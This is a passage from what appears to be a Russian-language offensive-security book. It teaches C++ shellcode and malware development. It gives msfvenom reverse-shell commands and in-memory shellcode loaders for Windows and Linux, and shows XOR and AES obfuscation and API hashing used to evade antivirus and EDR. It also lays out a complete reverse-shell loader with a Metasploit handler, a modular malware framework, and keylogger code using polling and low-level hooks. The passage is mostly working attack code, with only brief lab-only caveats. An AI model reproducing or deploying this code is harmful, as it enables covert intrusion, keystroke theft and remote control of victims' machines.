Поэтому, чтобы обеспечить безопасность, вам нужно:

  • ● Компилировать с минимальными флагами (/GS- /GR- /EHsc- в Windows для отключения файлов cookie безопасности, RTTI и исключений).
  • ● Использовать плоские функции (flat functions), которые не генерируют исключений.
  • ● Избегать использования объектов или вызова конструкторов.


Предположим, вы хотите написать функцию, которая ищет определенное значение байта в памяти. Совместимая с shellcode версия будет выглядеть так:

char* find_byte(char* buffer, int size, char target) {
for (int i = 0; i < size; ++i) {
if (buffer[i] == target) {
return &buffer[i];
}
}
return nullptr;
}


Такая логика чрезвычайно полезна, если вы сканируете память процесса, парсите заголовки PE из файлов, отображенных в память, или ищете маркеры перехода в вашем собственном загрузочном коде (loader stub). Обратите внимание еще раз, как здесь отсутствует использование кучи (heap), внешние символы и вызовы функций системных API. Это делает его пригодным для включения непосредственно в шеллкод.
Одной из проблем, с которыми вы столкнетесь при написании этих функций, является обеспечение того, чтобы компилятор не оптимизировал инструкции таким образом, который зависит от поддержки во время выполнения. Вы захотите компилировать с флагами, отключающими оптимизацию, или тестировать дизассемблированный вывод с помощью таких инструментов, как IDA Pro, x64dbg или Ghidra, чтобы проверить, как выглядит фактическая последовательность инструкций.
Также важно структурировать ваши функции таким образом, чтобы они соответствовали соглашениям об использовании регистров, если вы планируете использовать встроенный ассемблер в дальнейшем.
Например, убедитесь, что ваши аргументы передаются через регистры (RCX, RDX, R8, R9 в Windows x64), и избегайте обращений к стеку, если вы не знаете, что стек правильно выровнен.
Отличный реальный пример, где это имеет значение, - это когда вы пишете загрузочный код (shellcode stub), который должен вручную разрешать функции WinAPI. Поскольку у вас нет доступа к таблице адресов импорта (import address table) в шеллкоде, вы часто пишете процедуру, которая сканирует память назад от текущего указателя инструкции, находит kernel32.dll или ntdll.dll, проходит по ее таблице экспорта и хеширует имена функций для разрешения указателей, таких как VirtualAlloc или LoadLibraryA. Каждая функция в этой цепочке должна быть самодостаточной, основанной на указателях и избегать всего, что обычно обрабатывается загрузчиком или CRT.
Вот простая структура, которую вы можете встроить в шеллкод для хранения указателей на функции:

struct FunctionTable {
    void* VirtualAlloc;
    void* VirtualFree;
    void* ExitThread;
};


Затем во время выполнения ваш шеллкод вручную разрешит каждый адрес функции и заполнит эту структуру.
Опять же, никакой стандартной библиотеки, никаких импортов - только чистая арифметика указателей и смещения памяти.
В реальном ландшафте атакующих вы часто извлекаете эти безопасные для шеллкода процедуры
в заголовочные файлы или встроенные фрагменты, которые могут быть повторно использованы в имплантах, загрузчиках и дропперах.
Они становятся фундаментальными строительными блоками каждого скрытного инструмента пост-эксплуатации.
Чтобы подытожить - но не завершить - ваш фокус в этой части разработки шеллкода заключается в сведении вашей логики к чистому, управляемому указателями, не зависящему от среды выполнения коду. Как только вы освоите это, вы сможете приступить к созданию шеллкода,
который работает не только на вашей тестовой системе, но и в любой среде, при любых условиях - и именно такой уровень надежности требуется для реальных атакующих инструментов.

4.2 Преобразование шеллкода в C++ пейлоады​


После того как вы создали или получили необработанный шеллкод - будь то сгенерированный Metasploit, извлеченный из вредоносного ПО или написанный вручную на ассемблере - следующий шаг - аккуратно встроить его в C++ проект для выполнения.
Этот процесс необходим для написания загрузчиков, дропперов и стейджеров, которые имитируют реальные атакующие операции, оставаясь при этом переносимыми и компактными.
Шеллкод обычно представляет собой последовательность байтов, выполняющих очень специфическую задачу, такую как запуск обратного шелла, внедрение в другой процесс или загрузка DLL из памяти.
Эти байты должны храниться в C++ программе таким образом, чтобы их можно было выполнить во время выполнения.
Чтобы сделать это безопасно и эффективно, вы преобразуете шеллкод в C++ пейлоад - что означает встраивание байт-кода в виде массива и его обертывание минимальной логикой выполнения.
Начните с подготовки необработанного шеллкода. Если вы используете msfvenom, например, и хотите создать обратный TCP-шелл для Windows x64,
вы можете использовать команду, подобную этой:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c


Эта команда выводит готовый к вставке массив unsigned char, отформатированный для использования в C или C++.
Вы получите что-то вроде:

unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, ...
};


Каждый байт в этом массиве соответствует машинной инструкции. Массив должен быть помещен в ваш C++ код без каких-либо изменений.
Вы должны избегать прямого изменения шеллкода, если только вы не шифруете или не кодируете его - об этом позже.
После встраивания вам нужно подготовить блок памяти, куда этот шеллкод может быть безопасно скопирован и выполнен.
C++ не позволяет выполнять память, выделенную на стеке, из-за современных механизмов защиты, таких как DEP (Data Execution Prevention).
Чтобы безопасно обойти это, вы используете системные API, такие как VirtualAlloc в Windows или mmap в Linux,
для выделения области памяти с правами на выполнение.
Вот минимальный загрузчик на основе Windows:

#include <windows.h>

unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, ... // Замените на фактический шеллкод
};

int main() {
    void* exec = VirtualAlloc(nullptr, sizeof(shellcode),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);
    if (!exec) return 1;
    memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)(); // Приводим блок памяти к типу функции и выполняем
    return 0;
}


Этот шаблон является основой любой тактики выполнения из памяти. Вы выделяете память, записываете в нее пейлоад и переходите непосредственно к ней с помощью приведения типа указателя на функцию. Как только управление передается шеллкоду, он выполняется так, как если бы он был внедрен в память традиционным эксплойтом.
Чего следует абсолютно избегать, так это хранения или манипулирования шеллкодом с помощью каких-либо функций из стандартной библиотеки C++, таких как std::string или std::vector. Они вносят динамическое выделение памяти и неопределенное поведение при работе с необработанными исполняемыми буферами. Придерживайтесь низкоуровневых конструкций - фиксированных массивов, арифметики указателей и системных вызовов.
Если вы пишете кроссплатформенные пейлоады, вам нужно будет разветвить логику. В Linux замените VirtualAlloc на mmap следующим образом:

#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

unsigned char shellcode[] = {
    0x90, 0x90, 0xC3 // NOP, NOP, RET
};

int main() {
    void* mem = mmap(nullptr, sizeof(shellcode), PROT_READ |
                     PROT_WRITE | PROT_EXEC,
                     MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    if (mem == MAP_FAILED) return 1;
    memcpy(mem, shellcode, sizeof(shellcode));
    ((void(*)())mem)();
    return 0;
}


Вам нужно будет убедиться, что выравнивание и права доступа корректны в системах Linux. Также обратите внимание, что шеллы Linux часто требуют дополнительной настройки, такой как закрытие файловых дескрипторов, установка переменных окружения или прямой вызов execve.
Чтобы сделать ваш пейлоад менее заметным, многие специалисты по красным командам используют кодирование или шифрование для обфускации шеллкода перед его встраиванием в исходный код. Например, используя XOR с однобайтовым ключом:

unsigned char encoded[] = {
    0x9f, 0x1a, 0x3b, ... // Закодированный пейлоад
};
unsigned char key = 0xAA;
for (int i = 0; i < sizeof(encoded); ++i) {
    encoded[i] ^= key;
}


После декодирования вы копируете его в исполняемую область памяти, как и раньше.
Этот подход позволяет обойти статические сигнатуры, используемые EDR и антивирусами.
Другая критически важная практика при встраивании шеллкода в C++ - это убедиться, что компилятор не вмешивается в массив и не вносит оптимизации, которые изменяют пейлоад. Вы можете использовать volatile или специфичные для компилятора директивы (pragmas), чтобы предотвратить непреднамеренные изменения:

volatile unsigned char shellcode[] = { ... };


Или, для MSVC, поместите массив в пользовательский раздел и пометьте его как исполняемый с помощью директивы компоновщика. Этот метод более продвинут, но дает вам полный контроль над расположением пейлоада.
То, что вы строите на данном этапе, является основой для любого вредоносного дроппера или загрузчика красной команды. После преобразования шеллкода в C++ пейлоад он становится повторно используемым, внедряемым и динамически развертываемым. Вы можете зашифровать его, встроить в загрузочный код, внедрить в другие процессы или запустить в поэтапном формате через маяк (beacon).
Аккуратно встраивая ваш шеллкод и выполняя его из памяти, вы избегаете записи на диск и уменьшаете след вашего инструментария - оба фактора важны при разработке атакующих инструментов, нацеленных на обход современных систем обнаружения.

4.3 Выполнение шеллкода в памяти​


После того как вы встроили ваш шеллкод в C++ пейлоад, следующая критически важная задача - выполнить его непосредственно из памяти. Вы больше не пишете обычный вызов функции - вы относитесь к необработанному машинному коду как к функции и передаете ему управление без участия диска, выполнения файла или структурированных импортов. Именно это делает выполнение из памяти таким основным компонентом загрузчиков вредоносного ПО, инструментов красной команды и фреймворков пост-эксплуатации в памяти.
Для выполнения шеллкода из памяти должны надежно и чисто произойти три вещи:
1. Вы должны выделить память с правами на выполнение.
2. Вы должны скопировать шеллкод в эту память.
3. Вы должны передать управление началу шеллкода.
Начнем с Windows, поскольку большинство реальных атакующих инструментов нацелены на эту платформу. Операционная система применяет политики защиты памяти, такие как DEP (Data Execution Prevention), поэтому память, помеченная как записываемая, не всегда является исполняемой. Правильный способ создания памяти, которая может как хранить, так и выполнять шеллкод, - это использование API VirtualAlloc с флагом PAGE_EXECUTE_READWRITE.

Вот чистый пример:

#include <windows.h>

unsigned char shellcode[] = {
    0x90, 0x90, 0xC3 // NOP, NOP, RET - простой шеллкод для теста
};

int main() {
    void* exec_mem = VirtualAlloc(nullptr, sizeof(shellcode),
                                  MEM_COMMIT | MEM_RESERVE,
                                  PAGE_EXECUTE_READWRITE);
    if (!exec_mem) return 1;
    memcpy(exec_mem, shellcode, sizeof(shellcode));
    ((void(*)())exec_mem)(); // приводим указатель к типу функции и выполняем
    return 0;
}


Давайте разберем, что это на самом деле делает.
Вызов VirtualAlloc резервирует и выделяет регион памяти. Флаги MEM_COMMIT | MEM_RESERVE означают, что Windows одновременно выделяет адресное пространство и делает физическую память доступной. Защита PAGE_EXECUTE_READWRITE гарантирует, что в память можно записывать, а затем выполнять - это обходит DEP для данной аллокации.
После того как шеллкод скопирован с помощью memcpy, вы приводите адрес памяти к указателю на функцию и вызываете его, как любую функцию.
Этот шаг приведения типа передает выполнение непосредственно вашему необработанному шеллкоду.
Протестируем это с немного более реалистичным шеллкодом. Предположим, вы использовали msfvenom для генерации обратного шелла и закодировали его в вашей программе. Вы можете декодировать шеллкод во время выполнения, скопировать его в исполняемую память и запустить так же, как и выше. Эта техника - именно то, как работают многие загрузчики в памяти: код никогда не касается диска, никогда не выполняется как отдельный процесс и никогда не вызывает типичные флаги антивируса, связанные с EXE-файлами или известными хэшами вредоносного ПО.
В Linux процесс так же прямолинеен, но использует mmap:

#include <sys/mman.h>
#include <unistd.h>
#include <string.h>

unsigned char shellcode[] = {0x90, 0x90, 0xC3
};

int main() {
    void* mem = mmap(nullptr, sizeof(shellcode), PROT_READ |
                     PROT_WRITE | PROT_EXEC,
                     MAP_ANON | MAP_PRIVATE, -1, 0);
    if (mem == MAP_FAILED) return 1;
    memcpy(mem, shellcode, sizeof(shellcode));
    ((void(*)())mem)();
    return 0;
}


Здесь mmap выделяет анонимную приватную память с флагом выполнения. Такая память никогда не связана с файлом, никогда не сохраняется на диск и существует только до тех пор, пока жив ваш процесс. Это идеально подходит для загрузчиков или имплантов времени выполнения.
Стоит отметить, что в некоторых защищенных системах память, помеченная как записываемая и исполняемая, вообще запрещена. Это заставляет специалистов по красным командам разбивать выделение на два этапа - запись в память, затем изменение прав с помощью VirtualProtect (Windows) или mprotect (Linux). Вот вариант с использованием VirtualProtect:

void* exec_mem = VirtualAlloc(nullptr, sizeof(shellcode),
                              MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(exec_mem, shellcode, sizeof(shellcode));
DWORD oldProtect;
VirtualProtect(exec_mem, sizeof(shellcode), PAGE_EXECUTE_READ,
               &oldProtect);
((void(*)())exec_mem)();


Этот метод записывает шеллкод под PAGE_READWRITE, а затем повышает права до PAGE_EXECUTE_READ. Это больше похоже на то, как работает некоторое вредоносное ПО для обхода обнаружения EDR, связанного с PAGE_EXECUTE_READWRITE.
При написании более продвинутых исполнителей шеллкода вы можете объединить это с инъекцией потока (thread injection) или отражающей загрузкой (reflective loading). Вместо вызова шеллкода в вашем собственном потоке вы можете создать новый с помощью CreateThread или NtCreateThreadEx и позволить шеллкоду работать параллельно. Это основа многих файловых пейлоадов пост-эксплуатации.
Вот как запустить шеллкод в отдельном потоке:

CreateThread(nullptr, 0,
             (LPTHREAD_START_ROUTINE)exec_mem, nullptr, 0, nullptr);
WaitForSingleObject(exec_mem, INFINITE);


Это сохраняет ваш основной поток чистым, пока пейлоад выполняется асинхронно. Для скрытности вы можете скрыть поток, установить его контекст или полностью внедрить его в другой процесс.
Одна из самых мощных особенностей выполнения шеллкода в памяти заключается в том, что оно не создает постоянных артефактов. Не записывается исполняемый файл, не сбрасывается скрипт, и не остается истории командной строки - при условии, что вы избегаете стандартного вывода или системных вызовов, которые могут вызвать подозрения.
Но всегда будьте осторожны. Плохо написанный код выполнения из памяти может привести к сбоям системы, вызвать срабатывание EDR или оставить следы в памяти для криминалистической экспертизы. Прежде чем развертывать что-либо за пределами лаборатории, убедитесь, что ваша логика чиста, ваши права доступа строго ограничены, и ваш контекст выполнения должным образом контролируется.
Этот шаблон выполнения из памяти, который вы здесь строите, составляет основу каждого загрузчика, дроппера и отражающего инжектора DLL, которые вы напишете позже.
Понимание того, как чисто и безопасно выделять, копировать и переходить в память, является фундаментальным навыком в разработке атакующих инструментов с использованием C++.

4.4 Техники кодирования, шифрования и обфускации​


Когда вы встраиваете шеллкод в C++ пейлоад и выполняете его непосредственно в памяти, он уже более скрытен, чем запись EXE или DLL на диск. Но это не значит, что он невидим. Защитные инструменты, такие как антивирусные движки, EDR и поведенческие мониторы, по-прежнему могут сканировать ваш бинарный файл на наличие известных сигнатур байтов, обнаруживать подозрительные флаги выделения памяти или наблюдать за выполнением определенных функций WinAPI. Именно здесь на помощь приходит обфускация - чтобы замаскировать ваш пейлоад и его поведение, не меняя его намерения.
Кодирование, шифрование и обфускация - это три взаимодополняющих подхода, которые вы можете использовать для обхода статического и поведенческого обнаружения. Кодирование преобразует шаблон байтов во что-то, что не похоже на известный шеллкод. Шифрование перемешивает пейлоад с использованием ключа. Обфускация реструктурирует вашу логику и механизм доставки, чтобы они выглядели менее подозрительными или их было труднее реверсировать.
Начнем с простого примера XOR-кодирования. Эта техника быстра, проста в реализации и часто достаточна для обхода базовых статических сигнатур. Если ваш исходный шеллкод выглядит так:

unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, ...
};


Вы можете закодировать его с использованием фиксированного XOR-ключа:

unsigned char encoded[] = {
    0xAA ^ 0xfc, 0xAA ^ 0x48, 0xAA ^ 0x83, 0xAA ^ 0xe4, ...
};


Для декодирования во время выполнения:

unsigned char key = 0xAA;
for (size_t i = 0; i < sizeof(encoded); ++i) {
    encoded[i] ^= key;
}


После декодирования вы копируете буфер в исполняемую область памяти, как и раньше, и выполняете его. Теперь вы удалили сигнатуру необработанного шеллкода из бинарного файла, что значительно затрудняет его обнаружение антивирусными инструментами во время сканирования.
Хотя XOR прост, он также предсказуем. Любой, кто реверсирует ваш бинарный файл, может легко подобрать ключ методом полного перебора или обнаружить шаблон. Чтобы пойти дальше, вы можете использовать шифрование AES. Это обеспечивает вам сильную конфиденциальность и усложняет процесс анализа бинарных файлов для защитников.
Для шифрования с помощью AES в C++ используйте библиотеку, такую как OpenSSL. Вот концепция: напишите загрузочный код (stub loader), который встраивает зашифрованный шеллкод в бинарный файл и расшифровывает его во время выполнения с использованием симметричного ключа. Вы будете хранить как зашифрованный текст, так и ключ, или выводить ключ из условий времени выполнения (например, хэш имени машины, временное окно или общий секрет).
Например, если вы шифруете свой шеллкод с помощью AES-128, ваш загрузчик во время выполнения будет делать что-то вроде этого:

#include <openssl/aes.h>

AES_KEY aes_key;
AES_set_decrypt_key(key, 128, &aes_key);
AES_decrypt(ciphertext, plaintext, &aes_key);


После расшифровки вы передаете управление полученному буферу, как и раньше. Разница теперь в том, что статические инструменты сканирования не видят ваш пейлоад - они видят только зашифрованные байты.
Другой подход - полиморфное кодирование - техника, при которой декодирующий код (decoder stub) немного мутирует себя каждый раз. Вы изменяете структуру, инструкции или поток декодера так, чтобы он никогда не выглядел точно так же, даже если пейлоад не изменен. Это затрудняет надежное обнаружение вашего загрузчика сигнатурными сканерами.
Один из реальных методов - генерация декодирующего кода во время выполнения с использованием встроенного ассемблера, или использование случайных мусорных инструкций, таких как NOP, XCHG или короткие цепочки JMP, для разбивки шаблонов. Это замедляет обратное проектирование и повышает уровень навыков для защитников.
Вы также можете обфусцировать макет памяти вашего пейлоада. Например, вместо того чтобы хранить ваш шеллкод в одном непрерывном буфере, разбейте его на несколько частей и соберите их во время выполнения. Перемешайте порядок сегментов, зашифруйте каждый отдельно и соберите полный пейлоад только после ключевого события - такого как определенное время, движение мыши или ответ API. Эта техника имитирует поведение некоторых продвинутых семейств вредоносного ПО.

Вы можете написать что-то вроде:

memcpy(payload + offset1, part1, size1);
memcpy(payload + offset2, part2, size2);
...


И только после полной сборки вы расшифруете и выполните пейлоад. Цель здесь - задержать анализ и заставить провести более глубокую проверку.
Другая тактика - скрытие фактической точки выполнения за функциями, выглядящими безобидно. Например, вы можете переименовать вашу загрузочную функцию во что-то вроде initialize_logging или start_socket_server, или даже обернуть ее внутри фальшивой логики приложения. Многие инструменты красной команды делают это, чтобы слиться с поведением легитимных приложений.
Вот пример с маскировкой:

void start_metrics() {
    // На самом деле декодирует и запускает шеллкод
}


Такое отвлечение особенно хорошо работает в сочетании с мусорным кодом и реалистичной логикой пользовательского интерфейса, чтобы сбить с толку защитников или аналитиков, просматривающих дизассемблированный код.
Наконец, следите за поведением вашей программы во время выполнения. Даже с обфускацией, если ваш загрузчик вызывает VirtualAlloc, WriteProcessMemory или CreateRemoteThread в быстрой последовательности, поведенческие EDR это заметят. Вы можете обойти это, вводя задержки, используя косвенное разрешение API или скрывая вызовы через указатели на функции и поиск по хэшу.
Вот пример использования разрешения WinAPI по хэшу:

DWORD hash = hash_function("VirtualAlloc");
FARPROC func = resolve_from_peb(hash);
((LPVOID(WINAPI*)(...))func)(...);


Это позволяет обойти парсинг таблицы импорта и сопоставление сигнатур инструментами AV.
Кодирование, шифрование и обфускация - это не только для вредоносного ПО. Они критически важны для любого инструмента красной команды, теста на уклонение от песочницы для анализа вредоносного ПО или упражнения по обходу защиты. При ответственном использовании в лабораторных условиях или в рамках engagements они помогают вам понять, как атакующие обходят обнаружение - и как защитники должны адаптироваться.

4.5 Создание простого загрузчика обратного шелла​


Написание загрузчика обратного шелла на C++ - одно из самых практичных упражнений в атакующем программировании. Оно учит вас использовать низкоуровневые сетевые возможности, выделение памяти, управление процессами и выполнение шеллкода в одном компактном пейлоаде. Обратный шелл - это техника, при которой ваш пейлоад, после выполнения, связывается с удаленной машиной и привязывает сессию шелла к этому соединению, предоставляя вам возможность выполнять команды на целевой системе.
Этот загрузчик будет использовать необработанные Windows API для подключения к прослушивающему серверу и выполнения шелла. Чтобы сохранить ясность и прямолинейность, шеллкод будет предварительно сгенерирован с помощью msfvenom из Metasploit, затем встроен и выполнен из памяти.
Начните с генерации вашего пейлоада с соответствующими LHOST и LPORT. Вы можете сделать это с помощью:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c


Это выведет массив байтов в стиле C, который вы вставите в свой C++ код. Вот полная структура загрузчика, которая подключается обратно к вашей системе и запускает шелл, выполняя шеллкод полностью из памяти:

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib,"ws2_32.lib")
unsigned char shellcode[] = {/* your msfvenom output here */
};
int main() {
WSADATA wsaData;
SOCKET sock;
struct sockaddr_in server;
WSAStartup(MAKEWORD(2,2), &wsaData);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
server.sin_family = AF_INET;
server.sin_port = htons(4444);
inet_pton(AF_INET, "192.168.1.100", &server.sin_addr);
connect(sock, (struct sockaddr*)&server, sizeof(server));
void* exec_mem = VirtualAlloc(nullptr, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
memcpy(exec_mem, shellcode, sizeof(shellcode));
((void(*)())exec_mem)();
closesocket(sock);
WSACleanup();
return 0;
}


Этот загрузчик очень прост. Он инициализирует Winsock, создает TCP-сокет и подключается к вашему слушателю по указанному IP-адресу и порту. После установления соединения он выделяет исполняемую память, копирует туда необработанный шелл-код и передает ему управление.
Для запуска слушателя на вашей машине используйте Metasploit или nc (Netcat). Для Metasploit:

use exploit/multi/handler
set PAYLOAD windows/x64/shell_reverse_tcp
set LHOST 192.168.1.100set LPORT 4444
run


Как только ваш загрузчик обратного шелла будет выполнен на машине жертвы, он установит соединение с вашей сессией Metasploit, предоставив вам интерактивный шелл.
Если вы работаете на защищенной машине или сталкиваетесь с ограничениями EDR, вам потребуется добавить уровень обфускации. Вы можете зашифровать шелл-код с помощью XOR перед его встраиванием и декодировать его во время выполнения перед запуском.
Вот шаг декодирования XOR, добавленный перед выполнением в памяти:

unsigned char key = 0xAA;
for (int i = 0; i < sizeof(shellcode); ++i) {
shellcode[i] ^= key;
}


Убедитесь, что вы выполнили XOR-кодирование шелл-кода на этапе предварительной обработки перед встраиванием его в загрузчик. Это делает ваш бинарный файл менее заметным для инструментов статического сканирования.
Вы также можете динамически разрешать API, чтобы скрыть ваши импорты. Например, вместо импорта VirtualAlloc или connect, разрешайте их во время выполнения, используя GetProcAddress и LoadLibraryA. Вот как это выглядит:

HMODULE hKernel = LoadLibraryA("kernel32.dll");
void* (*pVirtualAlloc)(void*, SIZE_T, DWORD, DWORD) =
(void* (*)(void*, SIZE_T, DWORD,
DWORD))GetProcAddress(hKernel, "VirtualAlloc");


Это позволяет обойти некоторые методы статического анализа, которые ищут подозрительные импорты непосредственно в бинарном файле.
Этот базовый загрузчик обратного шелла предоставляет вам полностью рабочий метод выполнения полезной нагрузки в памяти с четкой логикой на C++, использованием необработанных сокетов, обработкой шелл-кода и опциональной обфускацией.
С этого момента вы можете расширить загрузчик, включив в него механизмы персистентности, проверки на песочницу, шифрование, инспекцию окружения и даже инъекцию кода в процессы. Но даже на этом этапе этот инструмент формирует основу большинства реальных вредоносных программ и фреймворков red team. Именно он получает первоначальный доступ, открывает дверь и передает контроль над системой.
Убедитесь, что вы тестируете это только в безопасной, изолированной лаборатории. Обратные шеллы мощны и могут быть легко использованы не по назначению, если развернуты безответственно.


Глава 5 - Разработка вредоносного ПО на C++​


Написание вредоносного ПО - это не просто запуск одного шелла или активация одной уязвимости. Профессиональные злоумышленники и продвинутые red team работают с модульными, персистентными и скрытными фреймворками - программами, достаточно гибкими для расширения новыми возможностями, поддержания долгосрочного доступа и противодействия обнаружению. В C++ такой дизайн вредоносного ПО не только возможен, но и невероятно эффективен. Вы работаете в тесном контакте с системой, что дает вам точный контроль над памятью, API и поведением.
В этой главе вы глубже поймете, как работает реальное вредоносное ПО, шаг за шагом. Вы начнете с проектирования модульного фреймворка, который разделяет свои компоненты на чистые функциональные слои. Затем вы реализуете реальные методы, такие как кейлоггинг, захват экрана, кража файлов и обеспечение персистентности. Вы также напишете полезные нагрузки, которые внедряют код в другие процессы, включая рефлексивные загрузчики DLL, и научитесь сбивать с толку отладчики и инструменты песочницы с помощью трюков против анализа.
На каждом этапе код будет реальным, поведение - наблюдаемым, а результат - практическим. Здесь сырые механики низкоуровневого программирования встречаются с операционным мышлением атакующей безопасности.

5.1 Проектирование модульного фреймворка вредоносного ПО​


Создание модульного фреймворка вредоносного ПО на C++ заключается в создании системы, которая может масштабироваться, адаптироваться и выполнять различные атакующие функции без перестройки всего бинарного файла. Вместо того чтобы жестко кодировать всю вашу логику в один исполняемый файл, вы разбиваете ее на отдельные части - каждая со своей четкой ответственностью - а затем оркестрируете их из центрального контроллера. Такая структура позволяет создавать более гибкое, тестируемое и скрытное вредоносное ПО, одновременно снижая сложность разработки.
Ядром любого модульного вредоносного ПО является легковесный загрузчик или менеджер. Этот компонент отвечает за инициализацию окружения, управление выполнением во время выполнения и загрузку модулей либо с диска, из памяти, либо даже с удаленных серверов. Фактические атакующие операции - такие как кейлоггинг, эксфильтрация файлов, процедуры персистентности и выполнение шелл-кода - реализуются как отдельные модули. Эти модули могут быть обновлены, заменены или удалены без изменения основного загрузчика, что уменьшает размер и помогает обойти механизмы статического обнаружения.
В C++ модульность может быть достигнута естественным образом с использованием абстрактных классов и динамического управления памятью. Вы начинаете с определения общего интерфейса для ваших модулей. Каждый модуль наследуется от этой базы и реализует конкретную функциональность, которую вы хотите. Это обеспечивает согласованность и позволяет вам единообразно обрабатывать все модули, независимо от того, что они фактически делают "под капотом".
Вот базовый пример интерфейса C++ для модулей:

class Module {
public:
virtual void run() = 0;
virtual const char* name() = 0;
virtual ~Module() {}};
Этот базовый класс навязывает структуру: каждый модуль должен иметь метод run(), который выполняет действие, и метод name(), чтобы идентифицировать его. Это позволяет создать чистую и масштабируемую систему выполнения.
Чтобы реализовать модуль - скажем, простой кейлоггер - вы можете наследовать от базового класса:
class Keylogger : public Module {
public:
void run() override {
while (true) {
for (char key = 8; key <= 190; ++key) {
if (GetAsyncKeyState(key) & 0x8000) {
// send or store key
}
}Sleep(10);
}
}
const char* name() override {
return "Keylogger";
}
};


Кейлоггер работает в цикле, постоянно проверяя нажатия клавиш. Ему не нужно знать, как он вызывается или управляется. Он просто соответствует интерфейсу и выполняет свою работу при вызове run().
Теперь в вашем основном загрузчике вредоносного ПО вы можете поддерживать список модулей и вызывать их динамически:

std::vector<Module*> modules;
void loadModules() {
modules.push_back(new Keylogger());// Add more modules here as needed
}
void executeModules() {
for (Module* m : modules) {
CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)([]
(LPVOID mod) -> DWORD {
static_cast<Module*>(mod)->run();
return 0;
}), m, 0, nullptr);
}
}


Каждый модуль работает в своем собственном потоке, что позволяет параллельно выполнять такие функции, как кейлоггинг и эксфильтрация файлов. Вы можете более точно контролировать модель многопоточности, ограничивая параллелизм или приоритизируя модули на основе задач.
Для повышения скрытности и функциональности многие продвинутые фреймворки получают модули по сети вместо встраивания их во время компиляции. Например, сервер командно-контроля (C2) может отправить зашифрованный модуль, который ваш загрузчик расшифровывает и загружает в память с помощью рефлексивной загрузки. Это позволяет избежать записи на диск и оставляет мало следов для криминалистического анализа.
Вы также можете реализовать динамическую загрузку плагинов. Вместо компиляции модулей в бинарный файл, скомпилируйте каждый из них как DLL и загрузите его во время выполнения:

HMODULE hMod = LoadLibraryA("keylogger.dll");
FARPROC func = GetProcAddress(hMod, "run");
((void(*)())func)();


Для еще большей скрытности вообще не используйте LoadLibrary(). Рефлексивная инъекция DLL позволяет загружать DLL из зашифрованных блоков в памяти. Это позволяет обойти распространенные хуки EDR и сохранить ваши полезные нагрузки скрытыми от сканеров на основе файлов.
Реальный модульный фреймворк вредоносного ПО также нуждается в способе связи с внешними системами. Это можно сделать с помощью абстрактного класса связи:

class CommChannel {
public:
virtual void send(const std::string& data) = 0;virtual std::string receive() = 0;
virtual ~CommChannel() {}
};


Затем вы можете создавать отдельные реализации для HTTP, DNS или именованных каналов связи. Это позволяет переключаться между каналами в зависимости от сетевого окружения, привилегий пользователя или требований к скрытности.
Наиболее эффективные инструменты red team разделяют логику таким образом. Они используют зашифрованные конфигурации для определения того, какие модули запускать и когда. Они загружают компоненты по требованию, выполняют их в памяти и затем очищают. Все это снижает риск обнаружения и повышает операционную гибкость.
Проектирование вашего фреймворка вредоносного ПО как полноценной программной архитектуры, вместо того чтобы сваливать все в один файл, дает вам долгосрочные преимущества. Вы можете быстрее итерировать, обходить больше защит и разрабатывать сложные поведения, имитирующие продвинутые постоянные угрозы. Независимо от того, создаете ли вы кейлоггер, загрузчик или агент C2, модульность позволяет масштабироваться и адаптироваться, сохраняя при этом контроль.

5.2 Кейлоггинг, захват экрана и кража файлов​


Эти три действия - захват нажатий клавиш, создание снимков экрана и кража файлов - составляют основу многих вредоносных программ, крадущих информацию. В этом разделе мы подробно рассмотрим каждое из них с практической реализацией на C++, уделяя особое внимание прямому доступу к системе, минимальным зависимостям и поведению, которое точно имитирует то, что используют реальные злоумышленники в полевых условиях.
Начнем с кейлоггинга. Задача кейлоггера проста: определить, какие клавиши были нажаты, когда и кем. Самый базовый подход в Windows - опрос состояния клавиатуры с помощью GetAsyncKeyState(). Хотя это может быть обнаружено инструментами безопасности, этот метод по-прежнему надежно работает и легко реализуется на C++. Вот простой цикл:

while (true) {
for (char c = 8; c <= 190; ++c) {
if (GetAsyncKeyState(c) & 0x8000) {
logKey(c);
}
}
Sleep(10);
}


Этот цикл перебирает возможные коды виртуальных клавиш и проверяет, нажата ли какая-либо из них в данный момент. Функция logKey(c) должна преобразовать код клавиши в читаемый символ и сохранить или отправить результат. Для улучшения удобства использования вам потребуется отслеживать состояния Shift и обрабатывать специальные клавиши, такие как Enter, Backspace и клавиши со стрелками. Вы можете использовать GetKeyState(VK_SHIFT) для определения, удерживается ли Shift, и соответствующим образом сопоставить клавишу.
Для более продвинутого отслеживания низкоуровневый хук клавиатуры (WH_KEYBOARD_LL) позволяет отслеживать системные события ввода. Это более скрытно и эффективно, но требует функции обратного вызова и постоянного цикла обработки сообщений:

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM
wParam, LPARAM lParam) {
if (nCode == HC_ACTION && wParam == WM_KEYDOWN) {
KBDLLHOOKSTRUCT* p =
(KBDLLHOOKSTRUCT*)lParam;
DWORD vkCode = p->vkCode;
logKey(vkCode);
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}


Чтобы активировать этот хук, вы регистрируете его с помощью SetWindowsHookEx() и поддерживаете свой поток активным с помощью цикла сообщений. Это обеспечивает более чистое, низколатентное захват клавиш и лучше интегрируется с модульными фреймворками.

